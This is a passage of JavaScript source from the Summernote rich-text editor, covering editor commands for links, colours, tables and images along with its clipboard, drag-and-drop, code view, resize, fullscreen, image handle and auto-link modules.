                onApplyCustomStyle.call(_this, $target, _this.context, _this.onFormatBlock);
            }
            else {
                _this.onFormatBlock(tagName, $target);
            }
        });
        /**
         * insert horizontal rule
         */
        this.insertHorizontalRule = this.wrapCommand(function () {
            var hrNode = _this.createRange().insertNode(dom.create('HR'));
            if (hrNode.nextSibling) {
                range.create(hrNode.nextSibling, 0).normalize().select();
            }
        });
        /**
         * lineHeight
         * @param {String} value
         */
        this.lineHeight = this.wrapCommand(function (value) {
            _this.style.stylePara(_this.createRange(), {
                lineHeight: value
            });
        });
        /**
         * create link (command)
         *
         * @param {Object} linkInfo
         */
        this.createLink = this.wrapCommand(function (linkInfo) {
            var linkUrl = linkInfo.url;
            var linkText = linkInfo.text;
            var isNewWindow = linkInfo.isNewWindow;
            var rng = linkInfo.range || _this.createRange();
            var isTextChanged = rng.toString() !== linkText;
            // handle spaced urls from input
            if (typeof linkUrl === 'string') {
                linkUrl = linkUrl.trim();
            }
            if (_this.options.onCreateLink) {
                linkUrl = _this.options.onCreateLink(linkUrl);
            }
            else {
                // if url doesn't match an URL schema, set http:// as default
                linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(linkUrl)
                    ? linkUrl : 'http://' + linkUrl;
            }
            var anchors = [];
            if (isTextChanged) {
                rng = rng.deleteContents();
                var anchor = rng.insertNode($$1('<A>' + linkText + '</A>')[0]);
                anchors.push(anchor);
            }
            else {
                anchors = _this.style.styleNodes(rng, {
                    nodeName: 'A',
                    expandClosestSibling: true,
                    onlyPartialContains: true
                });
            }
            $$1.each(anchors, function (idx, anchor) {
                $$1(anchor).attr('href', linkUrl);
                if (isNewWindow) {
                    $$1(anchor).attr('target', '_blank');
                }
                else {
                    $$1(anchor).removeAttr('target');
                }
            });
            var startRange = range.createFromNodeBefore(lists.head(anchors));
            var startPoint = startRange.getStartPoint();
            var endRange = range.createFromNodeAfter(lists.last(anchors));
            var endPoint = endRange.getEndPoint();
            range.create(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset).select();
        });
        /**
         * setting color
         *
         * @param {Object} sObjColor  color code
         * @param {String} sObjColor.foreColor foreground color
         * @param {String} sObjColor.backColor background color
         */
        this.color = this.wrapCommand(function (colorInfo) {
            var foreColor = colorInfo.foreColor;
            var backColor = colorInfo.backColor;
            if (foreColor) {
                document.execCommand('foreColor', false, foreColor);
            }
            if (backColor) {
                document.execCommand('backColor', false, backColor);
            }
        });
        /**
         * Set foreground color
         *
         * @param {String} colorCode foreground color code
         */
        this.foreColor = this.wrapCommand(function (colorInfo) {
            document.execCommand('styleWithCSS', false, true);
            document.execCommand('foreColor', false, colorInfo);
        });
        /**
         * insert Table
         *
         * @param {String} dimension of table (ex : "5x5")
         */
        this.insertTable = this.wrapCommand(function (dim) {
            var dimension = dim.split('x');
            var rng = _this.createRange().deleteContents();
            rng.insertNode(_this.table.createTable(dimension[0], dimension[1], _this.options));
        });
        /**
         * remove media object and Figure Elements if media object is img with Figure.
         */
        this.removeMedia = this.wrapCommand(function () {
            var $target = $$1(_this.restoreTarget()).parent();
            if ($target.parent('figure').length) {
                $target.parent('figure').remove();
            }
            else {
                $target = $$1(_this.restoreTarget()).detach();
            }
            _this.context.triggerEvent('media.delete', $target, _this.$editable);
        });
        /**
         * float me
         *
         * @param {String} value
         */
        this.floatMe = this.wrapCommand(function (value) {
            var $target = $$1(_this.restoreTarget());
            $target.toggleClass('note-float-left', value === 'left');
            $target.toggleClass('note-float-right', value === 'right');
            $target.css('float', value);
        });
        /**
         * resize overlay element
         * @param {String} value
         */
        this.resize = this.wrapCommand(function (value) {
            var $target = $$1(_this.restoreTarget());
            $target.css({
                width: value * 100 + '%',
                height: ''
            });
        });
    }
    Editor.prototype.initialize = function () {
        var _this = this;
        // bind custom events
        this.$editable.on('keydown', function (event) {
            if (event.keyCode === key.code.ENTER) {
                _this.context.triggerEvent('enter', event);
            }
            _this.context.triggerEvent('keydown', event);
            if (!event.isDefaultPrevented()) {
                if (_this.options.shortcuts) {
                    _this.handleKeyMap(event);
                }
                else {
                    _this.preventDefaultEditableShortCuts(event);
                }
            }
            if (_this.isLimited(1, event)) {
                return false;
            }
        }).on('keyup', function (event) {
            _this.context.triggerEvent('keyup', event);
        }).on('focus', function (event) {
            _this.context.triggerEvent('focus', event);
        }).on('blur', function (event) {
            _this.context.triggerEvent('blur', event);
        }).on('mousedown', function (event) {
            _this.context.triggerEvent('mousedown', event);
        }).on('mouseup', function (event) {
            _this.context.triggerEvent('mouseup', event);
        }).on('scroll', function (event) {
            _this.context.triggerEvent('scroll', event);
        }).on('paste', function (event) {
            _this.context.triggerEvent('paste', event);
        });
        // init content before set event
        this.$editable.html(dom.html(this.$note) || dom.emptyPara);
        this.$editable.on(env.inputEventName, func.debounce(function () {
            _this.context.triggerEvent('change', _this.$editable.html());
        }, 100));
        this.$editor.on('focusin', function (event) {
            _this.context.triggerEvent('focusin', event);
        }).on('focusout', function (event) {
            _this.context.triggerEvent('focusout', event);
        });
        if (!this.options.airMode) {
            if (this.options.width) {
                this.$editor.outerWidth(this.options.width);
            }
            if (this.options.height) {
                this.$editable.outerHeight(this.options.height);
            }
            if (this.options.maxHeight) {
                this.$editable.css('max-height', this.options.maxHeight);
            }
            if (this.options.minHeight) {
                this.$editable.css('min-height', this.options.minHeight);
            }
        }
        this.history.recordUndo();
    };
    Editor.prototype.destroy = function () {
        this.$editable.off();
    };
    Editor.prototype.handleKeyMap = function (event) {
        var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];
        var keys = [];
        if (event.metaKey) {
            keys.push('CMD');
        }
        if (event.ctrlKey && !event.altKey) {
            keys.push('CTRL');
        }
        if (event.shiftKey) {
            keys.push('SHIFT');
        }
        var keyName = key.nameFromCode[event.keyCode];
        if (keyName) {
            keys.push(keyName);
        }
        var eventName = keyMap[keys.join('+')];
        if (eventName) {
            if (this.context.invoke(eventName) !== false) {
                event.preventDefault();
            }
        }
        else if (key.isEdit(event.keyCode)) {
            this.afterCommand();
        }
    };
    Editor.prototype.preventDefaultEditableShortCuts = function (event) {
        // B(Bold, 66) / I(Italic, 73) / U(Underline, 85)
        if ((event.ctrlKey || event.metaKey) &&
            lists.contains([66, 73, 85], event.keyCode)) {
            event.preventDefault();
        }
    };
    Editor.prototype.isLimited = function (pad, event) {
        pad = pad || 0;
        if (typeof event !== 'undefined') {
            if (key.isMove(event.keyCode) ||
                (event.ctrlKey || event.metaKey) ||
                lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) {
                return false;
            }
        }
        if (this.options.maxTextLength > 0) {
            if ((this.$editable.text().length + pad) >= this.options.maxTextLength) {
                return true;
            }
        }
        return false;
    };
    /**
     * create range
     * @return {WrappedRange}
     */
    Editor.prototype.createRange = function () {
        this.focus();
        return range.create(this.editable);
    };
    /**
     * saveRange
     *
     * save current range
     *
     * @param {Boolean} [thenCollapse=false]
     */
    Editor.prototype.saveRange = function (thenCollapse) {
        this.lastRange = this.createRange();
        if (thenCollapse) {
            this.lastRange.collapse().select();
        }
    };
    /**
     * restoreRange
     *
     * restore lately range
     */
    Editor.prototype.restoreRange = function () {
        if (this.lastRange) {
            this.lastRange.select();
            this.focus();
        }
    };
    Editor.prototype.saveTarget = function (node) {
        this.$editable.data('target', node);
    };
    Editor.prototype.clearTarget = function () {
        this.$editable.removeData('target');
    };
    Editor.prototype.restoreTarget = function () {
        return this.$editable.data('target');
    };
    /**
     * currentStyle
     *
     * current style
     * @return {Object|Boolean} unfocus
     */
    Editor.prototype.currentStyle = function () {
        var rng = range.create();
        if (rng) {
            rng = rng.normalize();
        }
        return rng ? this.style.current(rng) : this.style.fromNode(this.$editable);
    };
    /**
     * style from node
     *
     * @param {jQuery} $node
     * @return {Object}
     */
    Editor.prototype.styleFromNode = function ($node) {
        return this.style.fromNode($node);
    };
    /**
     * undo
     */
    Editor.prototype.undo = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        this.history.undo();
        this.context.triggerEvent('change', this.$editable.html());
    };
    /**
     * redo
     */
    Editor.prototype.redo = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        this.history.redo();
        this.context.triggerEvent('change', this.$editable.html());
    };
    /**
     * before command
     */
    Editor.prototype.beforeCommand = function () {
        this.context.triggerEvent('before.command', this.$editable.html());
        // keep focus on editable before command execution
        this.focus();
    };
    /**
     * after command
     * @param {Boolean} isPreventTrigger
     */
    Editor.prototype.afterCommand = function (isPreventTrigger) {
        this.normalizeContent();
        this.history.recordUndo();
        if (!isPreventTrigger) {
            this.context.triggerEvent('change', this.$editable.html());
        }
    };
    /**
     * handle tab key
     */
    Editor.prototype.tab = function () {
        var rng = this.createRange();
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.table.tab(rng);
        }
        else {
            if (this.options.tabSize === 0) {
                return false;
            }
            if (!this.isLimited(this.options.tabSize)) {
                this.beforeCommand();
                this.typing.insertTab(rng, this.options.tabSize);
                this.afterCommand();
            }
        }
    };
    /**
     * handle shift+tab key
     */
    Editor.prototype.untab = function () {
        var rng = this.createRange();
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.table.tab(rng, true);
        }
        else {
            if (this.options.tabSize === 0) {
                return false;
            }
        }
    };
    /**
     * run given function between beforeCommand and afterCommand
     */
    Editor.prototype.wrapCommand = function (fn) {
        var _this = this;
        return function () {
            _this.beforeCommand();
            fn.apply(_this, arguments);
            _this.afterCommand();
        };
    };
    /**
     * insert image
     *
     * @param {String} src
     * @param {String|Function} param
     * @return {Promise}
     */
    Editor.prototype.insertImage = function (src, param) {
        var _this = this;
        return createImage(src, param).then(function ($image) {
            _this.beforeCommand();
            if (typeof param === 'function') {
                param($image);
            }
            else {
                if (typeof param === 'string') {
                    $image.attr('data-filename', param);
                }
                $image.css('width', Math.min(_this.$editable.width(), $image.width()));
            }
            $image.show();
            range.create(_this.editable).insertNode($image[0]);
            range.createFromNodeAfter($image[0]).select();
            _this.afterCommand();
        }).fail(function (e) {
            _this.context.triggerEvent('image.upload.error', e);
        });
    };
    /**
     * insertImages
     * @param {File[]} files
     */
    Editor.prototype.insertImages = function (files) {
        var _this = this;
        $$1.each(files, function (idx, file) {
            var filename = file.name;
            if (_this.options.maximumImageFileSize && _this.options.maximumImageFileSize < file.size) {
                _this.context.triggerEvent('image.upload.error', _this.lang.image.maximumFileSizeError);
            }
            else {
                readFileAsDataURL(file).then(function (dataURL) {
                    return _this.insertImage(dataURL, filename);
                }).fail(function () {
                    _this.context.triggerEvent('image.upload.error');
                });
            }
        });
    };
    /**
     * insertImagesOrCallback
     * @param {File[]} files
     */
    Editor.prototype.insertImagesOrCallback = function (files) {
        var callbacks = this.options.callbacks;
        // If onImageUpload this.options setted
        if (callbacks.onImageUpload) {
            this.context.triggerEvent('image.upload', files);
            // else insert Image as dataURL
        }
        else {
            this.insertImages(files);
        }
    };
    /**
     * return selected plain text
     * @return {String} text
     */
    Editor.prototype.getSelectedText = function () {
        var rng = this.createRange();
        // if range on anchor, expand range with anchor
        if (rng.isOnAnchor()) {
            rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor));
        }
        return rng.toString();
    };
    Editor.prototype.onFormatBlock = function (tagName, $target) {
        // [workaround] for MSIE, IE need `<`
        tagName = env.isMSIE ? '<' + tagName + '>' : tagName;
        document.execCommand('FormatBlock', false, tagName);
        // support custom class
        if ($target && $target.length) {
            var className = $target[0].className || '';
            if (className) {
                var currentRange = this.createRange();
                var $parent = $$1([currentRange.sc, currentRange.ec]).closest(tagName);
                $parent.addClass(className);
            }
        }
    };
    Editor.prototype.formatPara = function () {
        this.formatBlock('P');
    };
    Editor.prototype.fontStyling = function (target, value) {
        var rng = this.createRange();
        if (rng) {
            var spans = this.style.styleNodes(rng);
            $$1(spans).css(target, value);
            // [workaround] added styled bogus span for style
            //  - also bogus character needed for cursor position
            if (rng.isCollapsed()) {
                var firstSpan = lists.head(spans);
                if (firstSpan && !dom.nodeLength(firstSpan)) {
                    firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR;
                    range.createFromNodeAfter(firstSpan.firstChild).select();
                    this.$editable.data(KEY_BOGUS, firstSpan);
                }
            }
        }
    };
    /**
     * unlink
     *
     * @type command
     */
    Editor.prototype.unlink = function () {
        var rng = this.createRange();
        if (rng.isOnAnchor()) {
            var anchor = dom.ancestor(rng.sc, dom.isAnchor);
            rng = range.createFromNode(anchor);
            rng.select();
            this.beforeCommand();
            document.execCommand('unlink');
            this.afterCommand();
        }
    };
    /**
     * returns link info
     *
     * @return {Object}
     * @return {WrappedRange} return.range
     * @return {String} return.text
     * @return {Boolean} [return.isNewWindow=true]
     * @return {String} [return.url=""]
     */
    Editor.prototype.getLinkInfo = function () {
        var rng = this.createRange().expand(dom.isAnchor);
        // Get the first anchor on range(for edit).
        var $anchor = $$1(lists.head(rng.nodes(dom.isAnchor)));
        var linkInfo = {
            range: rng,
            text: rng.toString(),
            url: $anchor.length ? $anchor.attr('href') : ''
        };
        // Define isNewWindow when anchor exists.
        if ($anchor.length) {
            linkInfo.isNewWindow = $anchor.attr('target') === '_blank';
        }
        return linkInfo;
    };
    Editor.prototype.addRow = function (position) {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.addRow(rng, position);
            this.afterCommand();
        }
    };
    Editor.prototype.addCol = function (position) {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.addCol(rng, position);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteRow = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteRow(rng);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteCol = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteCol(rng);
            this.afterCommand();
        }
    };
    Editor.prototype.deleteTable = function () {
        var rng = this.createRange(this.$editable);
        if (rng.isCollapsed() && rng.isOnCell()) {
            this.beforeCommand();
            this.table.deleteTable(rng);
            this.afterCommand();
        }
    };
    /**
     * @param {Position} pos
     * @param {jQuery} $target - target element
     * @param {Boolean} [bKeepRatio] - keep ratio
     */
    Editor.prototype.resizeTo = function (pos, $target, bKeepRatio) {
        var imageSize;
        if (bKeepRatio) {
            var newRatio = pos.y / pos.x;
            var ratio = $target.data('ratio');
            imageSize = {
                width: ratio > newRatio ? pos.x : pos.y / ratio,
                height: ratio > newRatio ? pos.x * ratio : pos.y
            };
        }
        else {
            imageSize = {
                width: pos.x,
                height: pos.y
            };
        }
        $target.css(imageSize);
    };
    /**
     * returns whether editable area has focus or not.
     */
    Editor.prototype.hasFocus = function () {
        return this.$editable.is(':focus');
    };
    /**
     * set focus
     */
    Editor.prototype.focus = function () {
        // [workaround] Screen will move when page is scolled in IE.
        //  - do focus when not focused
        if (!this.hasFocus()) {
            this.$editable.focus();
        }
    };
    /**
     * returns whether contents is empty or not.
     * @return {Boolean}
     */
    Editor.prototype.isEmpty = function () {
        return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html();
    };
    /**
     * Removes all contents and restores the editable instance to an _emptyPara_.
     */
    Editor.prototype.empty = function () {
        this.context.invoke('code', dom.emptyPara);
    };
    /**
     * normalize content
     */
    Editor.prototype.normalizeContent = function () {
        this.$editable[0].normalize();
    };
    return Editor;
}());

var Clipboard = /** @class */ (function () {
    function Clipboard(context) {
        this.context = context;
        this.$editable = context.layoutInfo.editable;
    }
    Clipboard.prototype.initialize = function () {
        this.$editable.on('paste', this.pasteByEvent.bind(this));
    };
    /**
     * paste by clipboard event
     *
     * @param {Event} event
     */
    Clipboard.prototype.pasteByEvent = function (event) {
        var clipboardData = event.originalEvent.clipboardData;
        if (clipboardData && clipboardData.items && clipboardData.items.length) {
            var item = lists.head(clipboardData.items);
            if (item.kind === 'file' && item.type.indexOf('image/') !== -1) {
                this.context.invoke('editor.insertImagesOrCallback', [item.getAsFile()]);
            }
            this.context.invoke('editor.afterCommand');
        }
    };
    return Clipboard;
}());

var Dropzone = /** @class */ (function () {
    function Dropzone(context) {
        this.context = context;
        this.$eventListener = $$1(document);
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.documentEventHandlers = {};
        this.$dropzone = $$1([
            '<div class="note-dropzone">',
            '  <div class="note-dropzone-message"/>',
            '</div>'
        ].join('')).prependTo(this.$editor);
    }
    /**
     * attach Drag and Drop Events
     */
    Dropzone.prototype.initialize = function () {
        if (this.options.disableDragAndDrop) {
            // prevent default drop event
            this.documentEventHandlers.onDrop = function (e) {
                e.preventDefault();
            };
            // do not consider outside of dropzone
            this.$eventListener = this.$dropzone;
            this.$eventListener.on('drop', this.documentEventHandlers.onDrop);
        }
        else {
            this.attachDragAndDropEvent();
        }
    };
    /**
     * attach Drag and Drop Events
     */
    Dropzone.prototype.attachDragAndDropEvent = function () {
        var _this = this;
        var collection = $$1();
        var $dropzoneMessage = this.$dropzone.find('.note-dropzone-message');
        this.documentEventHandlers.onDragenter = function (e) {
            var isCodeview = _this.context.invoke('codeview.isActivated');
            var hasEditorSize = _this.$editor.width() > 0 && _this.$editor.height() > 0;
            if (!isCodeview && !collection.length && hasEditorSize) {
                _this.$editor.addClass('dragover');
                _this.$dropzone.width(_this.$editor.width());
                _this.$dropzone.height(_this.$editor.height());
                $dropzoneMessage.text(_this.lang.image.dragImageHere);
            }
            collection = collection.add(e.target);
        };
        this.documentEventHandlers.onDragleave = function (e) {
            collection = collection.not(e.target);
            if (!collection.length) {
                _this.$editor.removeClass('dragover');
            }
        };
        this.documentEventHandlers.onDrop = function () {
            collection = $$1();
            _this.$editor.removeClass('dragover');
        };
        // show dropzone on dragenter when dragging a object to document
        // -but only if the editor is visible, i.e. has a positive width and height
        this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter)
            .on('dragleave', this.documentEventHandlers.onDragleave)
            .on('drop', this.documentEventHandlers.onDrop);
        // change dropzone's message on hover.
        this.$dropzone.on('dragenter', function () {
            _this.$dropzone.addClass('hover');
            $dropzoneMessage.text(_this.lang.image.dropImage);
        }).on('dragleave', function () {
            _this.$dropzone.removeClass('hover');
            $dropzoneMessage.text(_this.lang.image.dragImageHere);
        });
        // attach dropImage
        this.$dropzone.on('drop', function (event) {
            var dataTransfer = event.originalEvent.dataTransfer;
            // stop the browser from opening the dropped content
            event.preventDefault();
            if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {
                _this.$editable.focus();
                _this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files);
            }
            else {
                $$1.each(dataTransfer.types, function (idx, type) {
                    var content = dataTransfer.getData(type);
                    if (type.toLowerCase().indexOf('text') > -1) {
                        _this.context.invoke('editor.pasteHTML', content);
                    }
                    else {
                        $$1(content).each(function (idx, item) {
                            _this.context.invoke('editor.insertNode', item);
                        });
                    }
                });
            }
        }).on('dragover', false); // prevent default dragover event
    };
    Dropzone.prototype.destroy = function () {
        var _this = this;
        Object.keys(this.documentEventHandlers).forEach(function (key) {
            _this.$eventListener.off(key.substr(2).toLowerCase(), _this.documentEventHandlers[key]);
        });
        this.documentEventHandlers = {};
    };
    return Dropzone;
}());

var CodeMirror;
if (env.hasCodeMirror) {
    if (env.isSupportAmd) {
        require(['codemirror'], function (cm) {
            CodeMirror = cm;
        });
    }
    else {
        CodeMirror = window.CodeMirror;
    }
}
/**
 * @class Codeview
 */
var CodeView = /** @class */ (function () {
    function CodeView(context) {
        this.context = context;
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.$codable = context.layoutInfo.codable;
        this.options = context.options;
    }
    CodeView.prototype.sync = function () {
        var isCodeview = this.isActivated();
        if (isCodeview && env.hasCodeMirror) {
            this.$codable.data('cmEditor').save();
        }
    };
    /**
     * @return {Boolean}
     */
    CodeView.prototype.isActivated = function () {
        return this.$editor.hasClass('codeview');
    };
    /**
     * toggle codeview
     */
    CodeView.prototype.toggle = function () {
        if (this.isActivated()) {
            this.deactivate();
        }
        else {
            this.activate();
        }
        this.context.triggerEvent('codeview.toggled');
    };
    /**
     * activate code view
     */
    CodeView.prototype.activate = function () {
        var _this = this;
        this.$codable.val(dom.html(this.$editable, this.options.prettifyHtml));
        this.$codable.height(this.$editable.height());
        this.context.invoke('toolbar.updateCodeview', true);
        this.$editor.addClass('codeview');
        this.$codable.focus();
        // activate CodeMirror as codable
        if (env.hasCodeMirror) {
            var cmEditor_1 = CodeMirror.fromTextArea(this.$codable[0], this.options.codemirror);
            // CodeMirror TernServer
            if (this.options.codemirror.tern) {
                var server_1 = new CodeMirror.TernServer(this.options.codemirror.tern);
                cmEditor_1.ternServer = server_1;
                cmEditor_1.on('cursorActivity', function (cm) {
                    server_1.updateArgHints(cm);
                });
            }
            cmEditor_1.on('blur', function (event) {
                _this.context.triggerEvent('blur.codeview', cmEditor_1.getValue(), event);
            });
            // CodeMirror hasn't Padding.
            cmEditor_1.setSize(null, this.$editable.outerHeight());
            this.$codable.data('cmEditor', cmEditor_1);
        }
        else {
            this.$codable.on('blur', function (event) {
                _this.context.triggerEvent('blur.codeview', _this.$codable.val(), event);
            });
        }
    };
    /**
     * deactivate code view
     */
    CodeView.prototype.deactivate = function () {
        // deactivate CodeMirror as codable
        if (env.hasCodeMirror) {
            var cmEditor = this.$codable.data('cmEditor');
            this.$codable.val(cmEditor.getValue());
            cmEditor.toTextArea();
        }
        var value = dom.value(this.$codable, this.options.prettifyHtml) || dom.emptyPara;
        var isChange = this.$editable.html() !== value;
        this.$editable.html(value);
        this.$editable.height(this.options.height ? this.$codable.height() : 'auto');
        this.$editor.removeClass('codeview');
        if (isChange) {
            this.context.triggerEvent('change', this.$editable.html(), this.$editable);
        }
        this.$editable.focus();
        this.context.invoke('toolbar.updateCodeview', false);
    };
    CodeView.prototype.destroy = function () {
        if (this.isActivated()) {
            this.deactivate();
        }
    };
    return CodeView;
}());

var EDITABLE_PADDING = 24;
var Statusbar = /** @class */ (function () {
    function Statusbar(context) {
        this.$document = $$1(document);
        this.$statusbar = context.layoutInfo.statusbar;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
    }
    Statusbar.prototype.initialize = function () {
        var _this = this;
        if (this.options.airMode || this.options.disableResizeEditor) {
            this.destroy();
            return;
        }
        this.$statusbar.on('mousedown', function (event) {
            event.preventDefault();
            event.stopPropagation();
            var editableTop = _this.$editable.offset().top - _this.$document.scrollTop();
            var onMouseMove = function (event) {
                var height = event.clientY - (editableTop + EDITABLE_PADDING);
                height = (_this.options.minheight > 0) ? Math.max(height, _this.options.minheight) : height;
                height = (_this.options.maxHeight > 0) ? Math.min(height, _this.options.maxHeight) : height;
                _this.$editable.height(height);
            };
            _this.$document.on('mousemove', onMouseMove).one('mouseup', function () {
                _this.$document.off('mousemove', onMouseMove);
            });
        });
    };
    Statusbar.prototype.destroy = function () {
        this.$statusbar.off();
        this.$statusbar.addClass('locked');
    };
    return Statusbar;
}());

var Fullscreen = /** @class */ (function () {
    function Fullscreen(context) {
        var _this = this;
        this.context = context;
        this.$editor = context.layoutInfo.editor;
        this.$toolbar = context.layoutInfo.toolbar;
        this.$editable = context.layoutInfo.editable;
        this.$codable = context.layoutInfo.codable;
        this.$window = $$1(window);
        this.$scrollbar = $$1('html, body');
        this.onResize = function () {
            _this.resizeTo({
                h: _this.$window.height() - _this.$toolbar.outerHeight()
            });
        };
    }
    Fullscreen.prototype.resizeTo = function (size) {
        this.$editable.css('height', size.h);
        this.$codable.css('height', size.h);
        if (this.$codable.data('cmeditor')) {
            this.$codable.data('cmeditor').setsize(null, size.h);
        }
    };
    /**
     * toggle fullscreen
     */
    Fullscreen.prototype.toggle = function () {
        this.$editor.toggleClass('fullscreen');
        if (this.isFullscreen()) {
            this.$editable.data('orgHeight', this.$editable.css('height'));
            this.$window.on('resize', this.onResize).trigger('resize');
            this.$scrollbar.css('overflow', 'hidden');
        }
        else {
            this.$window.off('resize', this.onResize);
            this.resizeTo({ h: this.$editable.data('orgHeight') });
            this.$scrollbar.css('overflow', 'visible');
        }
        this.context.invoke('toolbar.updateFullscreen', this.isFullscreen());
    };
    Fullscreen.prototype.isFullscreen = function () {
        return this.$editor.hasClass('fullscreen');
    };
    return Fullscreen;
}());

var Handle = /** @class */ (function () {
    function Handle(context) {
        var _this = this;
        this.context = context;
        this.$document = $$1(document);
        this.$editingArea = context.layoutInfo.editingArea;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.events = {
            'summernote.mousedown': function (we, e) {
                if (_this.update(e.target)) {
                    e.preventDefault();
                }
            },
            'summernote.keyup summernote.scroll summernote.change summernote.dialog.shown': function () {
                _this.update();
            },
            'summernote.disable': function () {
                _this.hide();
            },
            'summernote.codeview.toggled': function () {
                _this.update();
            }
        };
    }
    Handle.prototype.initialize = function () {
        var _this = this;
        this.$handle = $$1([
            '<div class="note-handle">',
            '<div class="note-control-selection">',
            '<div class="note-control-selection-bg"></div>',
            '<div class="note-control-holder note-control-nw"></div>',
            '<div class="note-control-holder note-control-ne"></div>',
            '<div class="note-control-holder note-control-sw"></div>',
            '<div class="',
            (this.options.disableResizeImage ? 'note-control-holder' : 'note-control-sizing'),
            ' note-control-se"></div>',
            (this.options.disableResizeImage ? '' : '<div class="note-control-selection-info"></div>'),
            '</div>',
            '</div>'
        ].join('')).prependTo(this.$editingArea);
        this.$handle.on('mousedown', function (event) {
            if (dom.isControlSizing(event.target)) {
                event.preventDefault();
                event.stopPropagation();
                var $target_1 = _this.$handle.find('.note-control-selection').data('target');
                var posStart_1 = $target_1.offset();
                var scrollTop_1 = _this.$document.scrollTop();
                var onMouseMove_1 = function (event) {
                    _this.context.invoke('editor.resizeTo', {
                        x: event.clientX - posStart_1.left,
                        y: event.clientY - (posStart_1.top - scrollTop_1)
                    }, $target_1, !event.shiftKey);
                    _this.update($target_1[0]);
                };
                _this.$document
                    .on('mousemove', onMouseMove_1)
                    .one('mouseup', function (e) {
                    e.preventDefault();
                    _this.$document.off('mousemove', onMouseMove_1);
                    _this.context.invoke('editor.afterCommand');
                });
                if (!$target_1.data('ratio')) {
                    $target_1.data('ratio', $target_1.height() / $target_1.width());
                }
            }
        });
        // Listen for scrolling on the handle overlay.
        this.$handle.on('wheel', function (e) {
            e.preventDefault();
            _this.update();
        });
    };
    Handle.prototype.destroy = function () {
        this.$handle.remove();
    };
    Handle.prototype.update = function (target) {
        if (this.context.isDisabled()) {
            return false;
        }
        var isImage = dom.isImg(target);
        var $selection = this.$handle.find('.note-control-selection');
        this.context.invoke('imagePopover.update', target);
        if (isImage) {
            var $image = $$1(target);
            var position = $image.position();
            var pos = {
                left: position.left + parseInt($image.css('marginLeft'), 10),
                top: position.top + parseInt($image.css('marginTop'), 10)
            };
            // exclude margin
            var imageSize = {
                w: $image.outerWidth(false),
                h: $image.outerHeight(false)
            };
            $selection.css({
                display: 'block',
                left: pos.left,
                top: pos.top,
                width: imageSize.w,
                height: imageSize.h
            }).data('target', $image); // save current image element.
            var origImageObj = new Image();
            origImageObj.src = $image.attr('src');
            var sizingText = imageSize.w + 'x' + imageSize.h + ' (' + this.lang.image.original + ': ' + origImageObj.width + 'x' + origImageObj.height + ')';
            $selection.find('.note-control-selection-info').text(sizingText);
            this.context.invoke('editor.saveTarget', target);
        }
        else {
            this.hide();
        }
        return isImage;
    };
    /**
     * hide
     *
     * @param {jQuery} $handle
     */
    Handle.prototype.hide = function () {
        this.context.invoke('editor.clearTarget');
        this.$handle.children().hide();
    };
    return Handle;
}());

var defaultScheme = 'http://';
var linkPattern = /^([A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?|mailto:[A-Z0-9._%+-]+@)?(www\.)?(.+)$/i;
var AutoLink = /** @class */ (function () {
    function AutoLink(context) {
        var _this = this;
        this.context = context;
        this.events = {
            'summernote.keyup': function (we, e) {
                if (!e.isDefaultPrevented()) {
                    _this.handleKeyup(e);
                }
            },
            'summernote.keydown': function (we, e) {
                _this.handleKeydown(e);
            }
        };
    }
    AutoLink.prototype.initialize = function () {
        this.lastWordRange = null;
    };
    AutoLink.prototype.destroy = function () {
        this.lastWordRange = null;
    };
    AutoLink.prototype.replace = function () {
        if (!this.lastWordRange) {
            return;
        }
        var keyword = this.lastWordRange.toString();
        var match = keyword.match(linkPattern);
        if (match && (match[1] || match[2])) {
            var link = match[1] ? keyword : defaultScheme + keyword;
            var node = $$1('<a />').html(keyword).attr('href', link)[0];
            this.lastWordRange.insertNode(node);
            this.lastWordRange = null;
            this.context.invoke('editor.focus');
        }
    };
    AutoLink.prototype.handleKeydown = function (e) {
        if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {
            var wordRange = this.context.invoke('editor.createRange').getWordRange();
            this.lastWordRange = wordRange;
        }
    };
    AutoLink.prototype.handleKeyup = function (e) {
        if (lists.contains([key.code.ENTER, key.code.SPACE], e.keyCode)) {
            this.replace();
        }
    };
    return AutoLink;
}());

/**
 * textarea auto sync.
 */
var AutoSync = /** @class */ (function () {
    function AutoSync(context) {
        var _this = this;
        this.$note = context.layoutInfo.note;
        this.events = {
            'summernote.change': function () {
                _this.$note.val(context.invoke('code'));
            }
        };
    }
    AutoSync.prototype.shouldInitialize = function () {
        return dom.isTextarea(this.$note[0]);
    };
    return AutoSync;
}());

var Placeholder = /** @class */ (function () {
    function Placeholder(context) {
        var _this = this;
        this.context = context;
        this.$editingArea = context.layoutInfo.editingArea;
        this.options = context.options;
        this.events = {
            'summernote.init summernote.change': function () {
                _this.update();
            },
            'summernote.codeview.toggled': function () {
                _this.update();
            }
        };
    }
